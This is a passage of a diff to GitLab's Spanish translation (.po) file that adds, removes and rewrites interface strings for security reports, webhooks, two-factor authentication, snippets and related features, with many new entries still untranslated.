msgid "SecurityReports|Project"
msgstr "Proyecto"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "SecurityReports|Projects added"
msgstr "Proyectos añadidos"
msgid "SecurityReports|Remove project from dashboard"
msgstr "Eliminar proyecto del panel de control"
-msgid "SecurityReports|Return to dashboard"
-msgstr "Volver al panel de control"
-
msgid "SecurityReports|Scan details"
msgstr ""
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr "No se puede añadir %{invalidProjects}"
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr "Ver los proyectos afectados en el panel de administración de GitLab"
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr "Seleccionar"
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr "Seleccione la rama de origen"
@@ -21712,6 +22331,9 @@ msgstr "Seleccione el período de tiempo"
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr "Seleccione el usuario"
@@ -21901,6 +22523,12 @@ msgstr "Service Desk"
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr "Plantillas de Servicio"
@@ -21913,6 +22541,12 @@ msgstr "Duración de la sesión (minutos)"
msgid "Set %{epic_ref} as the parent epic."
msgstr "Establece %{epic_ref} como la tarea épica principal."
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr "Establecer una plantilla predeterminada para las descripciones de las incidencias."
@@ -22229,12 +22863,6 @@ msgstr "Mostrando %{limit} de %{total_count} incidencias. "
msgid "Showing %{pageSize} of %{total} issues"
msgstr "Mostrando %{pageSize} de %{total} problemas"
-msgid "Showing Latest Version"
-msgstr "Mostrar la última versión"
-
-msgid "Showing Version #%{versionNumber}"
-msgstr "Mostrando la versión #%{versionNumber}"
-
msgid "Showing all issues"
msgstr "Mostrar todas las incidencias"
@@ -22244,6 +22872,12 @@ msgstr ""
msgid "Showing last %{size} of log -"
msgstr "Mostrando los últimos %{size} del registro -"
+msgid "Showing latest version"
+msgstr ""
+
+msgid "Showing version #%{versionNumber}"
+msgstr ""
+
msgid "Side-by-side"
msgstr "En paralelo"
@@ -22337,6 +22971,9 @@ msgstr "No está permitido iniciar sesión usando su cuenta de %{label} sin una
msgid "Similar issues"
msgstr "Incidencias similares"
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr "Consultas simples o combinadas"
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr "No hay fragmentos de código que mostrar."
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr "Descripción (opcional)"
msgid "Snippets|File"
msgstr "Archivo"
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr "Algo salió mal al intentar cambiar la confidencialidad de esta incidenc
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr "Algo salió mal al intentar cambiar el estado de bloqueo de este %{issuableDisplayName}. ¡Por favor, inténtelo de nuevo!"
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr "Algo salió mal al cambiar el estado del botón. ¡Por favor, inténtelo de nuevo!"
@@ -22622,12 +23271,12 @@ msgstr "Algo salió mal, no se puede agregar %{project} al panel de control"
msgid "Something went wrong, unable to add projects to dashboard"
msgstr "Se ha producido un erro al añadir los proyectos al panel de control"
+msgid "Something went wrong, unable to delete project"
+msgstr ""
+
msgid "Something went wrong, unable to get projects"
msgstr "Se ha producido un error al obtener los proyectos"
-msgid "Something went wrong, unable to remove project"
-msgstr "Se ha producido un error al eliminar el proyecto"
-
msgid "Something went wrong, unable to search projects"
msgstr "Se ha producido un error al buscar los proyectos"
@@ -23522,6 +24171,9 @@ msgstr "Cambiar a GitLab Next"
msgid "Switch to the source to copy the file contents"
msgstr "Cambiar a la fuente para copiar el contenido del archivo"
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr "Sincronizar información"
@@ -23570,6 +24222,9 @@ msgstr "Listas de etiquetas:"
msgid "Tag name"
msgstr "Nombre de la etiqueta"
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr "Etiquetar este commit."
@@ -23582,6 +24237,9 @@ msgstr "Se etiquetó a este commit a %{tag_name}."
msgid "Tags"
msgstr "Etiquetas"
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr "Feed de tags"
@@ -23763,6 +24421,12 @@ msgstr "El informe de Terraform %{name} se generó en sus pipelines."
msgid "Test"
msgstr "Probar"
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr "Análisis de cobertura de las pruebas"
@@ -23831,9 +24495,6 @@ msgstr "No hay pruebas para mostrar."
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr "Se ha producido un error al recuperar los informes de prueba."
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,16 +24531,13 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] "El %{type} contiene el siguiente error:"
msgstr[1] "El %{type} contiene los siguientes errores:"
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
-msgstr "La búsqueda avanzada global de GitLab es un potente servicio de búsqueda que le permite ahorrar tiempo. En vez de crear código duplicado y perder el tiempo, puede buscar código de otros equipos que le pueda ayudar a su propio proyecto."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
msgstr ""
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr "La URL a utilizar para conectarse a Elasticsearch. Utilice una lista separada por comas para soportar clustering (por ejemplo, \"http://localhost:9200, http://localhost:9201\")."
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "Un certificado X.509 se utiliza cuando se require una comunicación TLS con un servicio de autorización externo. Si se deja en blanco, el certificado utilizado desde el servidor es validado cuando se accedes a través del protocolo HTTPS."
@@ -23935,6 +24596,9 @@ msgstr "La colección de eventos agregados a los datos recopilados para esa etap
msgid "The commit does not exist"
msgstr "El commit no existe"
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "La conexión terminará después de %{timeout}. Para los repositorios que tarden más tiempo, utilice una combinación de git clone y git push."
@@ -23989,6 +24653,12 @@ msgstr "El archivo se ha eliminado correctamente."
msgid "The file name should have a .yml extension"
msgstr "El nombre del archivo debe tener una extensión .yml"
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr "No se exportarán los siguientes elementos:"
@@ -24090,13 +24760,13 @@ msgstr "El nombre %{name} ya se está utilizando en este directorio."
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr "El número de cambios que se recuperarán desde GitLab al clonar un repositorio. Al modificar esta opción puede acelerar la ejecución de los pipelines. Déjelo en blanco o con valor 0 para deshabilitar el clonado superficial por defecto y así hacer que GitLab CI clone todas las ramas y todas las etiquetas cada vez."
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr "El proyecto puede ser consultado por cualquier persona, independientemen
msgid "The project can be accessed without any authentication."
msgstr "El proyecto puede accederse sin ninguna autenticación."
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr "El proyecto es accesible solo por los miembros del proyecto. Se debe otorgar el acceso explícitamente a cada usuario."
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr "Ya hay un repositorio con ese nombre en el disco"
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr "No hay datos disponibles. Por favor, cambie su selección."
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr "Se ha producido un error al suscribirse a esta etiqueta."
msgid "There was an error when unsubscribing from this label."
msgstr "Se ha producido un error al cancelar la suscripción de esta etiqueta."
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr "Ofertas de terceros"
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr "Este %{issuableDisplayName} está bloqueado. Solo los miembros del proyecto pueden comentar."
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr "Esta acción puede provocar la pérdida de datos. Para prevenir acciones accidentales, le pedimos que confirme su intención."
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr "Esta es su sesión actual"
-msgid "This issue is confidential"
-msgstr "Esta incidencia es confidencial"
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr "Este proyecto todavía no tiene una pagina de inicio del wiki"
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr "Este proyecto no tiene la facturación habilitada. Para crear un clúster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">habilite la facturación <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> e inténtelo de nuevo."
-
msgid "This project has no active access tokens."
msgstr "Este proyecto no tiene tokens de acceso activos."
msgid "This project is archived and cannot be commented on."
msgstr "Este proyecto está archivado y no se puede comentar en el."
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr "Esta variable no se puede enmascarar."
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr "Para conectar un repositorio SVN, eche un vistazo a %{svn_link}."
msgid "To define internal users, first enable new users set to external"
msgstr "Para definir los usuarios internos, primero habilite nuevos usuarios externos"
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr "Para comenzar a ejecutar sus trabajos, puede agregar ejecutores específ
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr "Para ver la hoja de ruta, agregue una fecha de inicio o final para cada uno de las tareas épicas en este grupo o en uno de sus subgrupos. En la vista mensual, sólo se mostrarán las tareas las épicas del último mes, del mes en curso, y de los próximos 5 meses."
@@ -25453,9 +26141,6 @@ msgstr "La tarea pendiente se ha marcado como realizada correctamente."
msgid "Today"
msgstr "Hoy"
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr "Mañana"
@@ -25660,6 +26348,9 @@ msgstr "Disparador"
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr "Ejecutar pipelines para la actualización de las replicas"
@@ -25729,9 +26420,18 @@ msgstr "Desactivar"
msgid "Turn On"
msgstr "Activar"
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr "Activar el Service Desk"
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr "Twitter"
@@ -25747,12 +26447,24 @@ msgstr "Autenticación de doble factor"
msgid "Two-factor Authentication Recovery codes"
msgstr "Códigos de recuperación de la autenticación de doble factor"
-msgid "Two-factor Authentication has been disabled for this user"
-msgstr "Se ha deshabilitado la autenticación de dos factores para este usuario"
-
msgid "Two-factor authentication"
msgstr "Autenticación de doble factor"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
+msgstr ""
+
msgid "Type"
msgstr "Tipo"
@@ -25933,8 +26645,8 @@ msgstr "Desbloquear"
msgid "Unlock the discussion"
msgstr "Desbloquear la discusión"
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
-msgstr "Desbloquear este %{issuableDisplayName}? <strong>Todos</strong> podrán comentar."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
+msgstr ""
msgid "Unlocked"
msgstr "Desbloqueado"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr "Hasta"
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr "Sin verificar"
@@ -26104,9 +26819,6 @@ msgstr "Actualizado"
msgid "Updated %{updated_at} by %{updated_by}"
msgstr "Actualizado %{updated_at} por %{updated_by}"
-msgid "Updated at"
-msgstr "Actualizado el"
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,8 +26834,8 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
-msgstr "Actualice su plan para activar la búsqueda global avanzada."
+msgid "Upgrade your plan to activate Advanced Search."
+msgstr ""
msgid "Upgrade your plan to activate Audit Events."
msgstr "Actualice su plan para activar Audit Events."
@@ -26197,7 +26909,7 @@ msgstr "Votos positivos"
msgid "Usage"
msgstr "Uso"
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr "Utilice la herramienta Service Desk para conectarse con sus usuarios (por ejemplo, para ofrecer soporte al cliente) a través del correo electrónico directamente desde dentro de GitLab"
@@ -26341,9 +27050,6 @@ msgstr "El usuario %{current_user_username} ha comenzado a suplantar %{username}
msgid "User %{username} was successfully removed."
msgstr "El usuario %{username} se ha eliminado correctamente."
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr "IDs de usuario"
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr "Usuarios que solicitan acceso a"
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr "Usuarios añadidos con éxito."
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr "Los usuarios con un rol de Invitado o de aquellos que no pertenecen a cualquiera de los proyectos o grupos no cuentan a efectos de puestos en uso."
@@ -26623,6 +27335,9 @@ msgstr "Válido desde"
msgid "Validate"
msgstr "Validar"
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr "Valide su archivo de configuración de GitLab CI"
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr "Variable"
@@ -26701,6 +27419,12 @@ msgstr "Verificar la configuración"
msgid "Version"
msgstr "Versión"
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr "Ver documentación"
@@ -26903,6 +27627,9 @@ msgstr "Vulnerabilidades"
msgid "Vulnerabilities over time"
msgstr "Vulnerabilidades a lo largo del tiempo"
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr "Le enviamos un correo electrónico con las instrucciones para restablecer la contraseña"
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr "Los Webhooks le permiten invocar una URL si, por ejemplo, se realiza un
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr "Miércoles"
@@ -27176,21 +27984,21 @@ msgstr "¡Bienvenido! Su cuenta fue desactivada por inactividad pero ya se ha re
msgid "Welcome to GitLab"
msgstr "Bienvenido a GitLab"
-msgid "Welcome to GitLab %{name}!"
-msgstr "¡Bienvenido a GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
+msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr "¡Bienvenido a GitLab %{first_name}!"
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr "Bienvenido a la visita guiada de GitLab"
msgid "Welcome to your Issue Board!"
msgstr "¡Bienvenido a su tablón de incidencias!"
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr "¿Qué está buscando?"
msgid "What describes you best?"
msgstr "¿Qué le describe mejor?"
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr "¿Cuál es su nivel de experiencia?"
@@ -27517,11 +28328,11 @@ msgstr "Está intentando actualizar un archivo que ha sido modificado desde que
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr "Está conectado al servidor de Prometheus, pero actualmente no hay datos disponibles para mostrar."
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
-msgstr "Está a punto de eliminar %{group_name}, al realizar esta acción también eliminará todos sus subgrupos y sus proyectos. ¡Los grupos eliminados NO se pueden restaurar! ¿Está ABSOLUTAMENTE seguro de que desea continuar?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
+msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
-msgstr "Va a eliminar %{project_full_name}. ¡No es posible restaurar un proyecto eliminado! ¿Está TOTALMENTE seguro?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
msgstr ""
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr "Va a transferir %{project_full_name} a otro propietario. ¿Está TOTALMENTE seguro?"
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr "No tiene permiso para desvincular su cuenta principal de inicio de sesiÃ
msgid "You are not authorized to perform this action"
msgstr "No tiene permiso para realizar esta acción"
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr "Está suplantando la identidad de %{username}"
@@ -27574,9 +28394,6 @@ msgstr "También puede validar su fichero %{gitlab_ci_yml} en %{lint_link_start}
msgid "You can also upload existing files from your computer using the instructions below."
msgstr "También puede subir archivos existentes desde su ordenador utilizando las instrucciones que se muestran a continuación."
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr "Siempre puede editar esto más tarde"
@@ -27610,14 +28427,14 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
-msgstr "Puede invitar a un nuevo miembro a <strong>%{project_name}</strong> o invitar a otro grupo."
+msgid "You can invite a new member to %{project_name} or invite another group."
+msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
-msgstr "Puedes invitar a un nuevo miembro a <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
+msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
-msgstr "Puedes invitar a otro grupo a <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
+msgstr ""
msgid "You can move around the graph by using the arrow keys."
msgstr "Puede moverse por el gráfico usando las teclas de flecha."
@@ -27700,10 +28517,10 @@ msgstr "No puede escribir en esta instancia de sólo lectura de GitLab."
msgid "You could not create a new trigger."
msgstr "No es posible crear un nuevo disparador."
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
